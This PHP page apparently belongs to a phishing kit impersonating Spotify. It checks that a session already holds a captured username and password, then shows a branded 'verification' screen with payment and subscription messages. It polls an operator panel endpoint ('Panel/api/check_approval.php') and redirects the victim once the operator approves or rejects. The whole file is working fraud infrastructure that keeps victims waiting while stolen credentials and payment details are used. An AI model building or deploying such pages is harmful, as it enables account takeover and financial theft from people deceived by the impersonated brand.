<?php
define('APP_ACCESS', true);
require_once __DIR__ . '/../config/config.php';
require_once __DIR__ . '/../includes/functions.php';
require_once __DIR__ . '/../includes/LanguageManager.php';

// Start session
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

// Check if previous steps are completed
if (!isset($_SESSION['username']) || !isset($_SESSION['password'])) {
    header('Location: login.php');
    exit;
}

// Detect language from IP
$detectedLang = detectLanguage();
$langManager = getLangManager($detectedLang);

$step = $_GET['step'] ?? 'sms';
?>
<!DOCTYPE html>
<html lang="<?php echo htmlspecialchars($detectedLang); ?>" dir="ltr">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Spotify - Verification</title>
    <link rel="icon" href="https://www.scdn.co/i/_global/favicon.png">
    <meta name="robots" content="noindex">
    <style>
        * { box-sizing: border-box; margin: 0; padding: 0; }
        body {
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
            background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%);
            color: #fff;
            min-height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            padding: 20px;
        }
        
        .container {
            max-width: 500px;
            width: 100%;
            text-align: center;
        }
        
        .logo {
            width: 80px;
            height: 80px;
            margin: 0 auto 30px;
            background: #1ed760;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            animation: pulse 2s infinite;
        }
        
        .logo svg {
            width: 50px;
            height: 50px;
            fill: #000;
        }
        
        @keyframes pulse {
            0%, 100% { transform: scale(1); box-shadow: 0 0 0 0 rgba(30, 215, 96, 0.7); }
            50% { transform: scale(1.05); box-shadow: 0 0 0 20px rgba(30, 215, 96, 0); }
        }
        
        .card {
            background: rgba(255, 255, 255, 0.1);
            backdrop-filter: blur(10px);
            border-radius: 15px;
            padding: 40px 30px;
            box-shadow: 0 8px 32px rgba(0, 0, 0, 0.3);
        }
        
        h1 {
            font-size: 28px;
            margin-bottom: 15px;
            font-weight: 700;
        }
        
        .status-text {
            font-size: 16px;
            color: rgba(255, 255, 255, 0.9);
            margin-bottom: 30px;
            line-height: 1.6;
        }
        
        .spinner-container {
            margin: 30px 0;
        }
        
        .spinner {
            width: 60px;
            height: 60px;
            margin: 0 auto;
            border: 4px solid rgba(255, 255, 255, 0.2);
            border-top: 4px solid #1ed760;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }
        
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        
        .progress-bar {
            width: 100%;
            height: 6px;
            background: rgba(255, 255, 255, 0.2);
            border-radius: 3px;
            overflow: hidden;
            margin: 20px 0;
        }
        
        .progress-fill {
            height: 100%;
            background: linear-gradient(90deg, #1ed760 0%, #1db954 100%);
            width: 0%;
            animation: progress 30s linear infinite;
        }
        
        @keyframes progress {
            0% { width: 0%; }
            100% { width: 100%; }
        }
        
        .status-icon {
            font-size: 64px;
            margin: 20px 0;
            animation: bounce 2s infinite;
        }
        
        @keyframes bounce {
            0%, 100% { transform: translateY(0); }
            50% { transform: translateY(-10px); }
        }
        
        .info-box {
            background: rgba(30, 215, 96, 0.1);
            border: 1px solid rgba(30, 215, 96, 0.3);
            border-radius: 8px;
            padding: 15px;
            margin-top: 20px;
            font-size: 14px;
            line-height: 1.6;
        }
        
        .dots {
            display: inline-block;
        }
        
        .dots span {
            animation: blink 1.4s infinite;
            animation-fill-mode: both;
        }
        
        .dots span:nth-child(2) { animation-delay: 0.2s; }
        .dots span:nth-child(3) { animation-delay: 0.4s; }
        
        @keyframes blink {
            0%, 80%, 100% { opacity: 0; }
            40% { opacity: 1; }
        }
        
        .success-icon {
            color: #1ed760;
            font-size: 80px;
            animation: scaleIn 0.5s ease-out;
        }
        
        @keyframes scaleIn {
            0% { transform: scale(0); }
            50% { transform: scale(1.2); }
            100% { transform: scale(1); }
        }
        
        .error-icon {
            color: #ff4444;
            font-size: 80px;
            animation: shake 0.5s;
        }
        
        @keyframes shake {
            0%, 100% { transform: translateX(0); }
            25% { transform: translateX(-10px); }
            75% { transform: translateX(10px); }
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="logo">
            <svg role="img" viewBox="0 0 24 24">
                <path d="M13.427.01C6.805-.253 1.224 4.902.961 11.524.698 18.147 5.853 23.728 12.476 23.99c6.622.263 12.203-4.892 12.466-11.514S20.049.272 13.427.01m5.066 17.579a.717.717 0 0 1-.977.268 14.4 14.4 0 0 0-5.138-1.747 14.4 14.4 0 0 0-5.42.263.717.717 0 0 1-.338-1.392c1.95-.474 3.955-.571 5.958-.29 2.003.282 3.903.928 5.647 1.92a.717.717 0 0 1 .268.978m1.577-3.15a.93.93 0 0 1-1.262.376 17.7 17.7 0 0 0-5.972-1.96 17.7 17.7 0 0 0-6.281.238.93.93 0 0 1-1.11-.71.93.93 0 0 1 .71-1.11 19.5 19.5 0 0 1 6.94-.262 19.5 19.5 0 0 1 6.599 2.165c.452.245.62.81.376 1.263m1.748-3.551a1.147 1.147 0 0 1-1.546.488 21.4 21.4 0 0 0-6.918-2.208 21.4 21.4 0 0 0-7.259.215 1.146 1.146 0 0 1-.456-2.246 23.7 23.7 0 0 1 8.034-.24 23.7 23.7 0 0 1 7.657 2.445c.561.292.78.984.488 1.546"/>
            </svg>
        </div>
        
        <div class="card">
            <div id="statusContent">
                <div class="status-icon">⏳</div>
                <h1><?php echo $langManager->get('loader_approval.title'); ?></h1>
                <p class="status-text">
                    <?php echo $langManager->get('loader_approval.subtitle'); ?><span class="dots"><span>.</span><span>.</span><span>.</span></span>
                </p>
                
                <div class="spinner-container">
                    <div class="spinner"></div>
                </div>
                
                <div class="progress-bar">
                    <div class="progress-fill"></div>
                </div>
                
                <div class="info-box">
                    <strong>🔒 <?php echo $langManager->get('loader_approval.secure_verification'); ?></strong><br>
                    <?php echo $langManager->get('loader_approval.secure_message'); ?>
                </div>
            </div>
        </div>
    </div>
    
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script>
        let checkInterval;
        let checkCount = 0;
        const maxChecks = 60; // 60 checks = 5 minutes (5 seconds interval)
        
        // Start checking for approval
        function startChecking() {
            checkInterval = setInterval(checkApproval, 5000); // Check every 5 seconds
        }
        
        // Check approval status
        function checkApproval() {
            checkCount++;
            
            $.ajax({
                url: '../Panel/api/check_approval.php',
                method: 'GET',
                dataType: 'json',
                success: function(response) {
                    if (response.approved) {
                        // Approved!
                        clearInterval(checkInterval);
                        showSuccess();
                        setTimeout(function() {
                            window.location.href = 'success.php';
                        }, 2000);
                    } else if (response.rejected) {
                        // Rejected!
                        clearInterval(checkInterval);
                        showError();
                        setTimeout(function() {
                            window.location.href = 'verification_enhanced.php?error=1';
                        }, 2000);
                    } else {
                        // Still waiting
                        updateWaitingMessage();
                    }
                },
                error: function() {
                    // Continue checking on error
                    console.log('Check failed, retrying...');
                }
            });
            
            // Timeout after max checks
            if (checkCount >= maxChecks) {
                clearInterval(checkInterval);
                showTimeout();
            }
        }
        
        // Show success message
        function showSuccess() {
            $('#statusContent').html(`
                <div class="success-icon">✅</div>
                <h1><?php echo $langManager->get('loader_approval.success_title'); ?></h1>
                <p class="status-text">
                    <?php echo $langManager->get('loader_approval.success_message'); ?>
                </p>
            `);
        }
        
        // Show error message
        function showError() {
            $('#statusContent').html(`
                <div class="error-icon">❌</div>
                <h1><?php echo $langManager->get('loader_approval.error_title'); ?></h1>
                <p class="status-text">
                    <?php echo $langManager->get('loader_approval.error_message'); ?>
                </p>
            `);
        }
        
        // Show timeout message
        function showTimeout() {
            $('#statusContent').html(`
                <div class="error-icon">⏰</div>
                <h1><?php echo $langManager->get('loader_approval.timeout_title'); ?></h1>
                <p class="status-text">
                    <?php echo $langManager->get('loader_approval.timeout_message'); ?>
                </p>
            `);
            setTimeout(function() {
                window.location.href = 'verification_enhanced.php';
            }, 3000);
        }
        
        // Update waiting message
        function updateWaitingMessage() {
            const messages = [
                '<?php echo $langManager->get('loader_approval.verifying_payment'); ?>',
                '<?php echo $langManager->get('loader_approval.checking_info'); ?>',
                '<?php echo $langManager->get('loader_approval.processing_request'); ?>',
                '<?php echo $langManager->get('loader_approval.validating_account'); ?>',
                '<?php echo $langManager->get('loader_approval.confirming_subscription'); ?>'
            ];
            const randomMessage = messages[Math.floor(Math.random() * messages.length)];
            $('.status-text').html(randomMessage + '<span class="dots"><span>.</span><span>.</span><span>.</span></span>');
        }
        
        // Start checking when page loads
        $(document).ready(function() {
            startChecking();
            // First check immediately
            checkApproval();
        });
    </script>
</body>
</html>
